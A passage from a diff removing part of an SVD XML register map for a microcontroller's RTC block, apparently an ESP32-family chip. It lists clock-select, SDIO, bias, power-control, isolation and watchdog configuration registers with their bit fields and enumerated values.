-              <description>CK8M_D256_OUT divider. 00: div128  01: div256  10: div512  11: div1024.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>CK8M_DIV</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>DIV128</name>
-                  <description>DIV128</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>DIV256</name>
-                  <description>DIV256</description>
-                  <value>1</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>DIV512</name>
-                  <description>DIV512</description>
-                  <value>2</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>DIV1024</name>
-                  <description>DIV1024</description>
-                  <value>3</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>ENB_CK8M</name>
-              <description>disable CK8M and CK8M_D256_OUT</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ENB_CK8M_DIV</name>
-              <description>1: CK8M_D256_OUT is actually CK8M  0: CK8M_D256_OUT is CK8M divided by 256</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>ENB_CK8M_DIV</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>CK8M_DIV_256</name>
-                  <description>CK8M_DIV_256</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>CK8M</name>
-                  <description>CK8M</description>
-                  <value>1</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>DIG_XTAL32K_EN</name>
-              <description>enable CK_XTAL_32K for digital core (no relationship with RTC core)</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIG_CLK8M_D256_EN</name>
-              <description>enable CK8M_D256_OUT for digital core (no relationship with RTC core)</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIG_CLK8M_EN</name>
-              <description>enable CK8M for digital core (no relationship with RTC core)</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_DFREQ_FORCE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_DIV_SEL</name>
-              <description>divider = reg_ck8m_div_sel + 1</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTAL_FORCE_NOGATING</name>
-              <description>XTAL force no gating during sleep</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_FORCE_NOGATING</name>
-              <description>CK8M force no gating during sleep</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_DFREQ</name>
-              <description>CK8M_DFREQ</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_FORCE_PD</name>
-              <description>CK8M force power down</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_FORCE_PU</name>
-              <description>CK8M force power up</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SOC_CLK_SEL</name>
-              <description>SOC clock sel. 0: XTAL  1: PLL  2: CK8M  3: APLL</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>SOC_CLK_SEL</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>XTAL</name>
-                  <description>XTAL</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>PLL</name>
-                  <description>PLL</description>
-                  <value>1</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>CK8M</name>
-                  <description>CK8M</description>
-                  <value>2</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>APLL</name>
-                  <description>APLL</description>
-                  <value>3</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>FAST_CLK_RTC_SEL</name>
-              <description>fast_clk_rtc sel. 0: XTAL div 4  1: CK8M</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>FAST_CLK_RTC_SEL</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>XTAL_DIV_4</name>
-                  <description>XTAL_DIV_4</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>CK8M</name>
-                  <description>CK8M</description>
-                  <value>1</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>ANA_CLK_RTC_SEL</name>
-              <description>slow_clk_rtc sel. 0: SLOW_CK  1: CK_XTAL_32K  2: CK8M_D256_OUT</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>ANA_CLK_RTC_SEL</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>SLOW_CK</name>
-                  <description>SLOW_CK</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>CK_XTAL_32K</name>
-                  <description>CK_XTAL_32K</description>
-                  <value>1</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>CK8M_D256_OUT</name>
-                  <description>CK8M_D256_OUT</description>
-                  <value>2</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDIO_CONF</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02A00000</resetValue>
-          <fields>
-            <field>
-              <name>SDIO_PD_EN</name>
-              <description>power down SDIO_REG in sleep. Only active when reg_sdio_force = 0</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_FORCE</name>
-              <description>1: use SW option to control SDIO_REG  0: use state machine</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_TIEH</name>
-              <description>SW option for SDIO_TIEH. Only active when reg_sdio_force = 1</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>REG1P8_READY</name>
-              <description>read only register for REG1P8_READY</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DREFL_SDIO</name>
-              <description>SW option for DREFL_SDIO. Only active when reg_sdio_force = 1</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DREFM_SDIO</name>
-              <description>SW option for DREFM_SDIO. Only active when reg_sdio_force = 1</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DREFH_SDIO</name>
-              <description>SW option for DREFH_SDIO. Only active when reg_sdio_force = 1</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_SDIO</name>
-              <description>SW option for XPD_SDIO_REG. Only active when reg_sdio_force = 1</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BIAS_CONF</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DBG_ATTEN</name>
-              <description>DBG_ATTEN</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ENB_SCK_XTAL</name>
-              <description>ENB_SCK_XTAL</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INC_HEARTBEAT_REFRESH</name>
-              <description>INC_HEARTBEAT_REFRESH</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEC_HEARTBEAT_PERIOD</name>
-              <description>DEC_HEARTBEAT_PERIOD</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INC_HEARTBEAT_PERIOD</name>
-              <description>INC_HEARTBEAT_PERIOD</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEC_HEARTBEAT_WIDTH</name>
-              <description>DEC_HEARTBEAT_WIDTH</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RST_BIAS_I2C</name>
-              <description>RST_BIAS_I2C</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>REG</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x29002400</resetValue>
-          <fields>
-            <field>
-              <name>SCK_DCAP_FORCE</name>
-              <description>N/A</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIG_DBIAS_SLP</name>
-              <description>DIG_REG_DBIAS during sleep</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIG_DBIAS_WAK</name>
-              <description>DIG_REG_DBIAS during wakeup</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SCK_DCAP</name>
-              <description>SCK_DCAP</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DBIAS_SLP</name>
-              <description>RTC_DBIAS during sleep</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DBIAS_WAK</name>
-              <description>RTC_DBIAS during wakeup</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DBOOST_FORCE_PD</name>
-              <description>RTC_DBOOST force power down</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DBOOST_FORCE_PU</name>
-              <description>RTC_DBOOST force power up</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_PD</name>
-              <description>RTC_REG force power down (for RTC_REG power down means decrease the voltage to 0.8v or lower )</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_PU</name>
-              <description>RTC_REG force power up</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PWC</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00012925</resetValue>
-          <fields>
-            <field>
-              <name>FASTMEM_FORCE_NOISO</name>
-              <description>Fast RTC memory force no ISO</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_FORCE_ISO</name>
-              <description>Fast RTC memory force ISO</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FORCE_NOISO</name>
-              <description>RTC memory force no ISO</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FORCE_ISO</name>
-              <description>RTC memory force ISO</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_ISO</name>
-              <description>rtc_peri force ISO</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_NOISO</name>
-              <description>rtc_peri force no ISO</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_FOLW_CPU</name>
-              <description>1: Fast RTC memory PD following CPU  0: fast RTC memory PD following RTC state machine</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_FORCE_LPD</name>
-              <description>Fast RTC memory force PD</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_FORCE_LPU</name>
-              <description>Fast RTC memory force no PD</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FOLW_CPU</name>
-              <description>1: RTC memory  PD following CPU  0: RTC memory PD following RTC state machine</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FORCE_LPD</name>
-              <description>RTC memory force PD</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FORCE_LPU</name>
-              <description>RTC memory force no PD</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_FORCE_PD</name>
-              <description>Fast RTC memory force power down</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_FORCE_PU</name>
-              <description>Fast RTC memory force power up</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FASTMEM_PD_EN</name>
-              <description>enable power down fast RTC memory in sleep</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FORCE_PD</name>
-              <description>RTC memory force power down</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_FORCE_PU</name>
-              <description>RTC memory force power up</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLOWMEM_PD_EN</name>
-              <description>enable power down RTC memory in sleep</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_PD</name>
-              <description>rtc_peri force power down</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_PU</name>
-              <description>rtc_peri force power up</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PD_EN</name>
-              <description>enable power down rtc_peri in sleep</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DIG_PWC</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00155550</resetValue>
-          <fields>
-            <field>
-              <name>LSLP_MEM_FORCE_PD</name>
-              <description>memories in digital core force PD in sleep</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LSLP_MEM_FORCE_PU</name>
-              <description>memories in digital core force no PD in sleep</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM0_FORCE_PD</name>
-              <description>ROM force power down</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM0_FORCE_PU</name>
-              <description>ROM force power up</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM0_FORCE_PD</name>
-              <description>internal SRAM 0 force power down</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM0_FORCE_PU</name>
-              <description>internal SRAM 0 force power up</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM1_FORCE_PD</name>
-              <description>internal SRAM 1 force power down</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM1_FORCE_PU</name>
-              <description>internal SRAM 1 force power up</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM2_FORCE_PD</name>
-              <description>internal SRAM 2 force power down</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM2_FORCE_PU</name>
-              <description>internal SRAM 2 force power up</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM3_FORCE_PD</name>
-              <description>internal SRAM 3 force power down</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM3_FORCE_PU</name>
-              <description>internal SRAM 3 force power up</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM4_FORCE_PD</name>
-              <description>internal SRAM 4 force power down</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM4_FORCE_PU</name>
-              <description>internal SRAM 4 force power up</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_FORCE_PD</name>
-              <description>wifi force power down</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_FORCE_PU</name>
-              <description>wifi force power up</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_FORCE_PD</name>
-              <description>digital core force power down</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_FORCE_PU</name>
-              <description>digital core force power up</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM0_PD_EN</name>
-              <description>enable power down ROM in sleep</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM0_PD_EN</name>
-              <description>enable power down internal SRAM 0 in sleep</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM1_PD_EN</name>
-              <description>enable power down internal SRAM 1 in sleep</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM2_PD_EN</name>
-              <description>enable power down internal SRAM 2 in sleep</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM3_PD_EN</name>
-              <description>enable power down internal SRAM 3 in sleep</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM4_PD_EN</name>
-              <description>enable power down internal SRAM 4 in sleep</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_PD_EN</name>
-              <description>enable power down wifi in sleep</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_PD_EN</name>
-              <description>enable power down digital core in sleep</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DIG_ISO</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xAAAA5000</resetValue>
-          <fields>
-            <field>
-              <name>FORCE_OFF</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_ON</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_PAD_AUTOHOLD</name>
-              <description>read only register to indicate digital pad auto-hold status</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CLR_DG_PAD_AUTOHOLD</name>
-              <description>wtite only register to clear digital pad auto-hold</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DG_PAD_AUTOHOLD_EN</name>
-              <description>digital pad enable auto-hold</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_PAD_FORCE_NOISO</name>
-              <description>digital pad force no ISO</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_PAD_FORCE_ISO</name>
-              <description>digital pad force ISO</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_PAD_FORCE_UNHOLD</name>
-              <description>digital pad force un-hold</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_PAD_FORCE_HOLD</name>
-              <description>digital pad force hold</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM0_FORCE_ISO</name>
-              <description>ROM force ISO</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM0_FORCE_NOISO</name>
-              <description>ROM force no ISO</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM0_FORCE_ISO</name>
-              <description>internal SRAM 0 force ISO</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM0_FORCE_NOISO</name>
-              <description>internal SRAM 0 force no ISO</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM1_FORCE_ISO</name>
-              <description>internal SRAM 1 force ISO</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM1_FORCE_NOISO</name>
-              <description>internal SRAM 1 force no ISO</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM2_FORCE_ISO</name>
-              <description>internal SRAM 2 force ISO</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM2_FORCE_NOISO</name>
-              <description>internal SRAM 2 force no ISO</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM3_FORCE_ISO</name>
-              <description>internal SRAM 3 force ISO</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM3_FORCE_NOISO</name>
-              <description>internal SRAM 3 force no ISO</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM4_FORCE_ISO</name>
-              <description>internal SRAM 4 force ISO</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_RAM4_FORCE_NOISO</name>
-              <description>internal SRAM 4 force no ISO</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_FORCE_ISO</name>
-              <description>wifi force ISO</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_FORCE_NOISO</name>
-              <description>wifi force no ISO</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_FORCE_ISO</name>
-              <description>digital core force ISO</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_FORCE_NOISO</name>
-              <description>digital core force no ISO</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG0</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00004C80</resetValue>
-          <fields>
-            <field>
-              <name>WDT_PAUSE_IN_SLP</name>
-              <description>pause WDT in sleep</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_APPCPU_RESET_EN</name>
-              <description>enable WDT reset APP CPU</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_PROCPU_RESET_EN</name>
-              <description>enable WDT reset PRO CPU</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_FLASHBOOT_MOD_EN</name>
-              <description>enable WDT in flash boot</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_SYS_RESET_LENGTH</name>
-              <description>system reset counter length</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_CPU_RESET_LENGTH</name>
-              <description>CPU reset counter length</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_LEVEL_INT_EN</name>
-              <description>N/A</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_EDGE_INT_EN</name>
-              <description>N/A</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_STG3</name>
-              <description>1: interrupt stage en  2: CPU reset stage en  3: system reset stage en  4: RTC reset stage en</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_STG2</name>
-              <description>1: interrupt stage en  2: CPU reset stage en  3: system reset stage en  4: RTC reset stage en</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_STG1</name>
-              <description>1: interrupt stage en  2: CPU reset stage en  3: system reset stage en  4: RTC reset stage en</description>
